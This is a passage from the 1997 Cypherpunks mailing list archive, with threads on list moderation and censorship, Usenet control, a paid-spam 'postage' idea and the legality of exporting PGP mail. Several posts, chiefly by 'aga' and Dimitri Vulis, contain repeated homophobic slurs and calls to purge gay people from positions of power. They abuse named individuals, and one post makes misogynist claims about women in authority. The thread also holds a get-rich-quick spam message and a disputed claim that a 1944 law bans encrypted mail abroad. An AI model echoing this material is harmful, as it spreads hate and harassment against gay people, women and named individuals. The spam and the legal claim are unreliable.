@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 

The encryption key is located at the URL above.

###########################################################################

My opinion on this: I personally feel that this scheme is the way to 
go for spammers. Obviously, it is possible to build mail readers that 
would verify some kind of trusted signature on the attached postage, and
would highlight all such messages. The meaning of signature is "these
people are not crooks, there really is an encrypted dollar there".

Clearly, spammers who pay their readers to read their messages (and who
do get them to read) will have a very high response rate. That may 
justify adding postage to their letters.

The advantages are obvious. The disadvantage is a possibility of someone
stealing the money on the way, if the letters are not encrypted.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 23:31:24 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150744.BAA03785@smoke.suba.com>
Message-ID: <199702150726.BAA13632@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


snow wrote:
> 
> Igor said:
> > I can suggest a scheme where a fee would be attached to the message,
> > and the recipient would be able to get the money only after having
> > read and understood the message.
> > 
> > For example, you might receive the following message (it could be encrypted
> > by your public key to preserve the cash from the MITM):
> 
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> > 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> 	That would be great. Sit home all day and hit web pages for a living.
> 

Well, they will stop sending you money if they find out that you do not buy
their products.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 14 Feb 1997 23:25:43 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150634.AAA13324@manifold.algebra.com>
Message-ID: <199702150744.BAA03785@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor said:
> I can suggest a scheme where a fee would be attached to the message,
> and the recipient would be able to get the money only after having
> read and understood the message.
> 
> For example, you might receive the following message (it could be encrypted
> by your public key to preserve the cash from the MITM):

> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.
> 
> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

	That would be great. Sit home all day and hit web pages for a living.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Fri, 14 Feb 1997 18:02:22 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Fuck UseNet
In-Reply-To: <199702142343.PAA17508@toad.com>
Message-ID: <19970215020223.6016.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Fri, 14 Feb 1997 19:02:19 +0000
   From: paul@fatmans.demon.co.uk
   Cc: cypherpunks@toad.com, cypherpunks@algebra.com,
	   alt.cypherpunks@news.demon.net
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk


   >   So, basically, you're saying that the flight from censorship should
   > be toward a new CypherPunk 'home' where one is effectively censored
   > automatically unless one kisses the ass of a Cabal?

   Absolutely, It is really, as far as I see it anyway, just a stop-gap 
   measure. The caballers haven`t got enough room to do their censorship 
   on the 18000 or so big 7 groups so they decide to fuck up the alt. 
   heirachy as well ;-)

   Hopefully Igor and co.`s network of Majordomo's should be fully 
   operational soon (as I understand it two are up and a third is on 
   it's way) then we can move back there. Might even get it finished 
   before the 20th?????

Why not a network of news servers with mail<->news gateways on some of
them?  It should even be possible to use the news spool as the queue,
so that only info on who needs what messages need lie around rather
than 42 copies of the message (something like nntpsend, just using
smtp).  I actually have some spare time this weekend to try
implementing this.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sat, 15 Feb 1997 02:20:44 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702151020.CAA03178@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


So you write:

>Many good authors have already left the list and *nothing* will get them
>back.

Are you implying that any given mailing list should be controlled by
the best authors?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

  Excuses are the tools with which those with no purpose in view build for 
  themselves great monuments of nothing.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sat, 15 Feb 1997 02:58:29 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151058.CAA03241@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation <antimod@nym.alias.net> writes:
> Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
> views should be suppressed.  Not only do I believe he has every right
> to express them, I also believe (as I explained) that I think there is
> value in inducing censorship as he has, so as to get people's
> censorious tendencies out in the open where they can be fought.

If you know this, then I fail to understand your arguments with
him?

> However, Dr. Grubor is no advocate of free speech (though I'm sure he
> thinks he is).  If Dr. Grubor had his way, he would severely restrict
> the rights of gay people to express themselves on Usenet.  Advocates
> of free speech must truly tolerate all speech, even that which they
> find strongly unpleasant or disturbing.

I'm still not sure you are understanding as you claim you are. Look at
what he says. Ask yourself if he supports freedom.  If you think he
does not, then for -you- he does not. If you want to know the real
man, take him to dinner.

> My point was therefore that Dr. Grubor would do better to say
> "Exterminate all faggots" than "Exterminate all faggots in the name of
> free speech," and that those of us who truly support freedom of speech
> would do well to distance ourselves from Dr. Grubor, while still fully
> supporting his right to express his opinions.

Nonsense. I claim that those of us who truly support freedom of speech
must -embrace- Dr. Grubor as a respected man of great skill, for he
can show us just how free any mailing list or newsgroup truly is.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

      A great deal of intelligence can be invested in ignorance 
                when the need for illusion is deep






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: christensen@usa.net
Date: Sat, 15 Feb 1997 02:05:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: $10,000 in 45 days - not MLM!
Message-ID: <199702151004.DAA26022@postoffice.usa.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,


$10,000 in 45 days!

When I first read that provocative headline I thought "Oh yeah!" 

Now, why do you think I'd be so skeptical? Well, if you've been 
involved in any other "opportunities" you'd know that the hype
mostly exceeds the reality. 

No one could have been more surprised than me, when I 
actually proved the truth of that headline. Yes, I did make over 
$10,000 in 45 days!

I'm not saying this to boast, but to tell you that it really is 
possible... 

If you'd like to know HOW, then just point your browser to:

http://www.cyberius.com/CG/122/

or, simply call and listen to a short message at:

1-800-995-0796 x4347

And keep my ID for reference....

Regards,

Kirt Christensen
Investors International
#CG122





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 14 Feb 1997 22:02:47 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970214053042.31811B-100000@dhp.com>
Message-ID: <19970215060243.25796.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> > > ...  Remember the previous cypherpunk who stated that the
> > > gays "created and run usenet."
> ...
> It was on the list last month, and the person was serious and correct.
> That is exactly why we must now kill all of usenet as it stands, for
> a new heterosexual beginning.
>
> ...  We are here to
> "rip new assholes" in the faggots who have ruined the net thus far,
> and to take over and make this net heterosexual oriented.

So if I follow your argument, gays created and run usenet, and have
also ruined it thus far.  Can you just clarify a few points?  I'm
trying to follow your premise here [which I don't necessarily
believe], and it seems contradictory.

  * If gays ruined usenet, does that mean at one point usenet was a
    good thing before it was ruined?  If so, gay people at least
    deserve credit for creating something good, even if they didn't
    manage to run it well.

  * If Usenet was created and ruined by terrible people, what exactly
    is your interest in it?  Why don't you just create an alternate
    news network.  You can easily do this using software these gay
    people have so graciously given you the source for, and then you
    could be the authority over the entire heterosexual news
    hierarchy.

  * If people you consider gay can't hold any position of authority on
    the internet, why do you acknowledge their authority by trying to
    fight them in particular?  I mean, what authority do these gay
    people have over a gay, ruined usenet that's so important you need
    to rip new assholes in them?

I just don't understand whom you are fighting over what and why.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 14 Feb 1997 22:25:45 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142035.MAA01111@kachina.jetcafe.org>
Message-ID: <19970215062538.27135.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes <dave@kachina.jetcafe.org> writes:

> Don't you get it? Real censorship issues do not arise until someone
> rocks the boat. It takes someone to rock the boat to make you aware
> of your own prejudices of that nature. If it takes attacking
> homosexuals and pissing them off enough to make them show their
> true colors and begin censorship...so be it. Why be civil when that
> civility serves to hide that which is ultimately against free speech?
> 
> You'll find those of us who -truly- want free speech are extremely
> good at ignoring what we don't like.

Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
views should be suppressed.  Not only do I believe he has every right
to express them, I also believe (as I explained) that I think there is
value in inducing censorship as he has, so as to get people's
censorious tendencies out in the open where they can be fought.

However, Dr. Grubor is no advocate of free speech (though I'm sure he
thinks he is).  If Dr. Grubor had his way, he would severely restrict
the rights of gay people to express themselves on Usenet.  Advocates
of free speech must truly tolerate all speech, even that which they
find strongly unpleasant or disturbing.

My point was therefore that Dr. Grubor would do better to say
"Exterminate all faggots" than "Exterminate all faggots in the name of
free speech," and that those of us who truly support freedom of speech
would do well to distance ourselves from Dr. Grubor, while still fully
supporting his right to express his opinions.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 15 Feb 1997 04:26:32 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <01IFFQFTMO9A8Y4WUC@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43

>Perhaps in addition to the X-foo structures we have discussed already we
>might consider adding,

>X-distrib-policy: foo

>Where foo might be,

>         Public Domain
>         All rights reserved, contact author for redistribution
>         Distribution for non-commercial uses permitted
>         Refer to authors header
>         Copyleft
>         etc.

>or whatever the policy might be for a given remailer. This would
>significantly aid folks in their shopping around.

	The basic difficulty with this idea is that _senders_ generally
don't have much of a choice where the messages go, once you've decided
to accept them. In other words, just because you've decided to accept
a message doesn't mean it suddenly becomes
copyleft/public domain/whatever. Now, if you, say, announced that only
subscribers to your particular list, subscribers to any other lists
adopting the same idea, and those who'd sign a consent agreement could
post through your list, that wouldn't be a problem... although I
suspect you wouldn't get many subscribers.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 15 Feb 1997 05:19:05 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <v03010d01af2a5a0699db@[17.219.103.204]>
Message-ID: <199702150726.HAA04553@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03010d01af2a5a0699db@[17.219.103.204]>, on 02/14/97 at 12:31 PM,
   Martin Minow <minow@apple.com> said:


>My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in
>http://netlynews.com Feb 12, 1997) is that it is another example of "The
>Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a
>limited resource. Cypherpunks was also
>susceptable to the strange Internet phenomenon where people could be proud of
>their anti-social, bad behavior (flame wars, "grafitti" in the form of spam).
>For this reason, I suspect that the future of the Internet in general, and
>Cyphperpunks in particular, will require serious editorial control (as is done
>by the Risks and Privacy digests).

>The only other alternative I can see would be to limit membership
>-- but not limit what members might write. In the long term, I suppose we'll
>have sufficiently intelligent software agents that can recognize spam and
>flaming and invisibly delete them from our e-mail in-boxes.

I compleetly dissagree with you.

The "Death of Cypherpunks" was not caused limited resources, or by spam, or by
the posts of the "good doctor". It was killed by two factors. The first was the
winning and sinviling crowd that was just too dam lazy to filter their mail.
With some very basic filtering the majority of the noise could be removed from
the list. There were a group of list members that were unwilling to take the
small amount of effort required to do this. They are the same type of people who
wine and cry that the governmnet should regulate this or regulate that all too
willing to give up a "little" freedom for promisises of extra "security". As if
this was not bad enough they typically demanded that everyone else give up a
"little" freedom along with them so they could have there extra "security".

The second and and even more deadly factor in the demise of the list was that
John & Sandy listened to these sheep. If there was such a great demand for a
censored cypherpunks list then they should have created a new censored list.
Those who wanted the services of Sandy to censor the list would have been free
to switch while leaving the main list intact. Instead the list was censored and
a cypherpunks-flams & a cypherpunks-unsensored lists were created. These list
were created with the promise that anything that did not make it onto the main
list would be placed onto the flames list. Well the inevitable happened a
message was posted that Sandy felt he could not forward to the flames list. All
this brew-ha-ha could have been avoided if Sandy had just posted a message to
the flame list stating that Dimitri had posted some crap that he could not or
would not repost to the flames list. No one would have faulted him for it as all
but the newest of list members know Dimitri. Instead threats of lawsuits were
addressed to anyone who even mentioned Dimitri's accusations. This blatent act
of censorship by Sandy and supported by John is what has brought cypherpunks to
where it is right now. Rather irronic that leaders of the fight against
"censorship" would use such tactics when it suits their needs.

>What bothers me more than anything else about the "solutions" I've seen
>proposed to the death of Cypherpunks is that they rely on technology -- and
>reject human judgement -- to solve what is, in reality, a social problem.  (One
>can certainly make the same argument about the V-chip, browser porn filters,
>and similar hacks.)

What bothers me more than anything is how false "problems" are created so
"solutions" can be implemented. Censorship of the list was NEVER needed.
Censorship of TV is not needed (ala V-chip). Censorship of cryptology is not
needed (via ITAR). Censorship is NEVER needed nor warented. Period.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Bugs come in through open Windows.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

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RO1gyOElBP42S6VOUkyk1inNAf39l3Zux3z4LG1Eq5PDheXQAtME2d8+niWInpf0
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uw3FsD+jgFM=
=pb3t
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 15 Feb 1997 04:36:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <g0D62D28w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970215071920.29361D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Fri, 14 Feb 97 22:30:27 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> Subject: Re: Dave Hayes takes over Cypherpunks
> 
> Toto <toto@sk.sympatico.ca> writes:
> 
> > aga wrote:
> > > How about that we require everybody to state their sex and sexual
> > > orientation in the future, so we have no future problems.
> > > I am a "Male Heterosexual" -- what about the rest of you?
> > > If you refuse to answer, you are presumed to be a gay boy who
> > > is hiding it.
> >
> >  I am a "Male, Cross-Dressing Heterosexual."
> 
> I'm a male heterosexual.
> 
> Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.

Now wait a minute.  You mean the National Security Agency?
If so, then Inman is probably not a faggot.  The military runs
that and they do not take faggots.  NSA is where I got my Top
Secret Crypto clearance from back in 1967.  Back then, all "crypto"
involved was the changing of about 28 wires each day in the old KL-7.

I remember the G2 government investigator asking me if I had ever had
any homosexual relationships.  Homosexuals are taboo as far as
clearances are concerned, because they are considered to be "at risk"
characters from the get-go.

> John Gilmore is a U.S.Government shill out to suck resources into
> fruitless flame war and to sabotage our efforts to deploy crypto.
> 

"shill?" -- shit, I am going to have to get my dictionary out.

> What about Timmy May and Eric Hughes? Are they faggots in U.S.G.
> employ or mere mindless dupes?
> 

If these guys are faggots, they must not be working for the U.S. Govt.
Federal policy does not grant Top Secret or above clearances to
homosexuals, I do believe.  At least the military doesn't.

But the question here is, are they really faggots?

Let's see how they answer that.  And remember, under our new protocol,
if you do not answer and say you are heterosexual, you are a -default-
faggot.  I want to hear what Peter Berger says.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 15 Feb 1997 04:57:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Why faggots need eliminated from power
In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970215073744.29361E-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 15 Feb 1997, Against Moderation wrote:

> Date: 15 Feb 1997 06:02:43 -0000
> From: Against Moderation <antimod@nym.alias.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com, ichudov@algebra.com, dlv@bwalk.dm.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> aga <aga@dhp.com> writes:
> 
> > > > ...  Remember the previous cypherpunk who stated that the
> > > > gays "created and run usenet."
> > ...
> > It was on the list last month, and the person was serious and correct.
> > That is exactly why we must now kill all of usenet as it stands, for
> > a new heterosexual beginning.
> >
> > ...  We are here to
> > "rip new assholes" in the faggots who have ruined the net thus far,
> > and to take over and make this net heterosexual oriented.
> 
> So if I follow your argument, gays created and run usenet, and have
> also ruined it thus far. 

Right, like O'Donnel or whatever his name is. The faggot at AOL.

 Can you just clarify a few points?  I'm
> trying to follow your premise here [which I don't necessarily
> believe], and it seems contradictory.
> 
>   * If gays ruined usenet, does that mean at one point usenet was a
>     good thing before it was ruined?  


It may have been; but that was at least more than 5 years ago.
Usenet has been ruined ever since David Lawrence took over from
Spafford.  They took over because they knew how to program in UNIX,
big deal.  The world has now all changed.

If so, gay people at least
>     deserve credit for creating something good, even if they didn't
>     manage to run it well.

O.K. fine, but the current system is broken, and that includes David
Lawrence and Chris Lewis and the INN conspiracy forged by Dave Barr
and his little boy partner Tim Skirvin, as well as the BOFH assholes
Peter da Silva and P.J. Falk.   And the crazy cabal.cunt Windigo
Ferral has been running all over making spurious complaints to all
kinds of postmasters, and the assholes just go on and on......

This is all based upon some homosexuals having positions of power
where they should not.  It is an admirable goal to kill the current
usenet.

> 
>   * If Usenet was created and ruined by terrible people, what exactly
>     is your interest in it?  

It is public property and we are the public.  The public majority is
heterosexual, and the ruling alpha male must also be same.

>     Why don't you just create an alternate
>     news network.  You can easily do this using software these gay
>     people have so graciously given you the source for, and then you
>     could be the authority over the entire heterosexual news
>     hierarchy.
> 

Nobody has given me anything.  I invent the tools that we need to
kill the current system.  The mother of all tools is the lawsuit,
but it is to be used only when necessary.


>   * If people you consider gay can't hold any position of authority on
>     the internet, why do you acknowledge their authority by trying to
>     fight them in particular?  

"can't" means should not, and Peter Berger is an example of a faggot
who needs eliminated from his job.  He is a dangerous and censorous
person, and a very queer faggot.  Just an example of the many queers
that need removed.

I mean, what authority do these gay
>     people have over a gay, ruined usenet that's so important you need
>     to rip new assholes in them?
> 

"ripping a new asshole" is just a phrase from the streets.
It has nothing to do with actual anuses or copulation whatsoever.

> I just don't understand whom you are fighting over what and why.
> 

The cabal.UUNET.BOFH.faggots

Why?  Because I am a heterosexual alpha male, and it needs done.

Faggots are VERY pink, and Dobbs does not like faggots.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 04:56:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702150605.AAA13070@manifold.algebra.com>
Message-ID: <3305B356.7069@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Some say, in fact, that Internet and USENET have been created by 
> Dr. Grubor.
> 
>         - Igor.

  
   Yes this is true--Dr. Grubor is the founder of all of 
CyberSpace (tm).

                       Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 04:59:41 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702151058.CAA03241@kachina.jetcafe.org>
Message-ID: <3305B40E.3641@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
> Against Moderation <antimod@nym.alias.net> writes:
> 
>> My point was therefore that Dr. Grubor would do better to say
>> "Exterminate all faggots" than "Exterminate all faggots in the name of
>> free speech," and that those of us who truly support freedom of speech
>> would do well to distance ourselves from Dr. Grubor, while still fully
>> supporting his right to express his opinions.
>
> 
> Nonsense. I claim that those of us who truly support freedom of speech
> must -embrace- Dr. Grubor as a respected man of great skill, for he
> can show us just how free any mailing list or newsgroup truly is.

  That sums it up very well--Dr. Grubor is the very best at bringing
the vermon out of the woodwork.

                             Steve


> ------
> Dave Hayes - Altadena CA, USA - dave@jetcafe.org
> Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
> 
>       A great deal of intelligence can be invested in ignorance
>                 when the need for illusion is deep




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 08:07:52 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <199702141745.JAA19682@songbird.com>
Message-ID: <3305DF34.5C2E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> ichudov@algebra.com allegedly said:
> > Firebeard wrote:
> > > >>>>> Igor Chudov @ home writes:
> > >     And once I'm up and running, my cypherpunks list server will
> > > not be interconnected with any server which has a similar AUP.  The
> > > implication of the AUP is that if you _don't_ comply with it, you will
> > > be blocked.  Without such an implication, the AUP is meaningless, and
> > > I'm dedicated that there should be no filtering/blocking of any kind,
> > > of the list.  Persons behaving 'unacceptably' should be handled by
> > > social pressures by others in the 'community' of the list, and not by
> > > policies of the list operators.

> I can understand this sentiment, given the events of the past couple
> of months, but it seems short-sighted.  If this scheme grows there
> could be several hundred or more mailers involved, and there is no
> technical reason why moderated lists couldn't be included.
> Remember that each list operator actually represents a community of
> users, users who are *free* to go elsewhere if they choose.  Clearly,
> some people would chose to populate a filtered list.  There is no
> reason whatsoever to discriminate against them.

There could be, but that would be on a case-by-case basis.  There
are times when carrying a censored feed that you'd be giving tacit
approval to the censorship itself.  Again, case-by-case basis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Feb 1997 06:14:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199702150841.AAA07706@toad.com>
Message-ID: <PZ562D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu> writes:

> [cc list trimmed!]
>
> On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:
>
> >
> > > Is it legal or illegal to send a
> > > PGP encrypted message from the US to someone in another country?
> >
> > Yes.
>
> Rubbish.  It is perfectly legal.  See generally
> http://www.law.miami.edu/~froomkin/articles/clipper.htm

I remember teaching in my computer security class how in 1944
the congress passed an act making it illegal to send encrypted
messages fro m the U.S. to abroad via snail mail, radio, etc;
it covers the not yet invented communications too (like computer
networks) and is on the books in U.S.Code somewhere. No further
laws need to be passed for the fuckers to start enforcing it.

> PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> however, as long as they are technical rather than legal...

Paul's sexist comments are very interesting - I hope to find more time to
comment on them too. I don't know if they have the same kind of "affirmative
action" in the U.K. that they have in the U.S. - here if you find a woman
in the position of authority, there's a good chance that she was promoted
ahead of more qualified men to meet some quota, and is therefore incompetent.

Remember how Klintoris (spit, spit) was determined to have a female attorney
general 4 years ago, and went through a slew of female candidates, rejecting
the best qualified ones like Kimba Wood, because she did what every working
mother in this country does - hired a babysitter for cash - and finally
appointed the bull dyke murdreress? No wonder the most ignorant shysters
on this forum, like Jim Ray (spit) come from Florida. Did he take classes
with Froomkin? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Feb 1997 06:14:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu>
Message-ID: <51662D33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation <antimod@nym.alias.net> writes:

> aga <aga@dhp.com> writes:
>
> > > > ...  Remember the previous cypherpunk who stated that the
> > > > gays "created and run usenet."
> > ...
> > It was on the list last month, and the person was serious and correct.
> > That is exactly why we must now kill all of usenet as it stands, for
> > a new heterosexual beginning.
> >
> > ...  We are here to
> > "rip new assholes" in the faggots who have ruined the net thus far,
> > and to take over and make this net heterosexual oriented.
>
> So if I follow your argument, gays created and run usenet, and have

Not true. Homos created Fidonet. Tom Jenkins was one. Normal people created
Usenet. (That is, some of the people who created Usenet may well have been
sexually attracted to people of the same sex in real life - I don't have a
problem with that - but none of them were "Usenet faggots" who tried to
suppress free speech). Now the homos, who ruined Fidonet through
censorship and UDP-like wars, are trying to take over Usenet with the same
disasterous results.

> also ruined it thus far.  Can you just clarify a few points?  I'm
> trying to follow your premise here [which I don't necessarily
> believe], and it seems contradictory.
>
>   * If gays ruined usenet, does that mean at one point usenet was a
>     good thing before it was ruined?  If so, gay people at least
>     deserve credit for creating something good, even if they didn't
>     manage to run it well.

Suppose for argument's sake that the people who created Usenet all
happened to be gay. Why would "gay people" as a whole, most of whom
had nothing to do with it, deserve credit for it?

>   * If Usenet was created and ruined by terrible people, what exactly
>     is your interest in it?  Why don't you just create an alternate
>     news network.  You can easily do this using software these gay
>     people have so graciously given you the source for, and then you
>     could be the authority over the entire heterosexual news
>     hierarchy.

We were here first. I've been on Usenet for > 10 years, before most of the
scum that's trying to ruin it now. Besides, the homos will try to ruin any
alternative forum they think is used by their "enemies". Look how they've
been flooding the freedom-knights mailing list with shit.

>   * If people you consider gay can't hold any position of authority on
>     the internet, why do you acknowledge their authority by trying to
>     fight them in particular?  I mean, what authority do these gay
>     people have over a gay, ruined usenet that's so important you need
>     to rip new assholes in them?
>
> I just don't understand whom you are fighting over what and why.

Good question. I'm fighting against _actions that suppress speech - such
as complaints to postmasters that result in plug-pulling; or forged cancels.
If false complaints were universally ignored - cancels junked, postmaster
complaints junked, as they should be, then these actions would be just
speech, therefore not worthy of suppression. I don't want the homos to be
silenced, merely rendered impotent to silence others.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 08:35:12 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <3305E540.58@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> John Gilmore <gnu@toad.com> writes:
> [Fluffy Gilmore apologia by Declan expunged]
> Two small points.
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 2.  The article fails to mention Gilmore's new nickname. :)

I'm so disgusted by the other disinformation put out by John's loyal
friends (i.e. "respected" cypherpunks) on the subject of "disrupters
and sociopaths", etc. that I try not to reply to any of the crud I
see posted by those clowns.  But when someone tries to be reasonable,
conversation is possible.  So how about some points on "disrupters":

1. Disrupters don't like bullies.
2. Disrupters don't like mindless authorities.
3. Disrupters don't like control freaks.
4. Disrupters don't like liars and hypocrites.
5. Disrupters don't like NSA/CIA/DEA/FBI trolls.
6. Disrupters don't like Animal Farm policies and elitists.

In short, if Gilmore had come down on the real problem people once
in a while, they wouldn't have agitated the "disrupters" nearly as
much as they did.  But he wasn't about to do that, because he's one
of the problem people himself.  Fooey on you, Gilmore.  May you never
work in this business again.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:07:32 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk>
Message-ID: <3305E7F8.8DD@gte.net>
